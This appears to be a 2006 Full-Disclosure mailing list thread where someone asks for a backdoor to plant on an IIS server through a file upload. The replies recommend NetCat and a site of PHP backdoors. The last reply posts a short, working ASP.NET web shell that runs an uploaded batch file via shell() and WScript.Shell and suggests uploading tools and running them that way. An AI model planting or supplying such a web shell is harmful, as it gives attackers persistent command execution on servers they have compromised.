Re: Good ASP backdoor?

[c0ntex <c0ntexb () gmail com>]

Nothing spiffing but it works,

<%@ Page language="VB" Debug="true" aspcompat="true" %>
<%
    shell("C:\Program Files\WebApp\Uploads\owned.bat")
%>
<script runat=server>
   Sub blah()
       Dim SpawnShell = server.CreateObject("WScript.Shell")
       SpawnShell.Run("C:\Program Files\WebApp\Uploads\owned.bat")
   End sub
</script>


then just upload your tools and run via the bat file.  Does the job.


On 14/09/06, Jason Miller <jammer128 () gmail com> wrote:
> http://replica-solutions.de/
> has some php based ones, check it out
>
> On 9/14/06, Exibar < exibar () thelair com> wrote:
> > NetCat is a tried and true favorite....
> >
> >
> > ----- Original Message -----
> > From: "Lachniet, Mark" <mlachniet () sequoianet com>
> > To: <full-disclosure () lists grok org uk>
> > Sent: Thursday, September 14, 2006 2:44 PM
> > Subject: [Full-disclosure] Good ASP backdoor?
> >
> >
> > > Can anyone suggest a good backdoor for placing on a IIS server when you
> > > can upload a file to document root?  For exapmle an all-in-one tool with
> > > upload, download, command execution, etc.  There are several basic ones
> > > out there - I was wondering if anyone ever wrote a really spiffy one.
> > >
> > > Thanks in advance,
> > >
> > > Mark Lachniet
> > >
> > > _______________________________________________
> > > Full-Disclosure - We believe in it.
> > > Charter:
> http://lists.grok.org.uk/full-disclosure-charter.html
> > > Hosted and sponsored by Secunia - http://secunia.com/
> >
> > _______________________________________________
> > Full-Disclosure - We believe in it.
> > Charter:
> http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter:
> http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/


-- 

regards
c0ntex

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/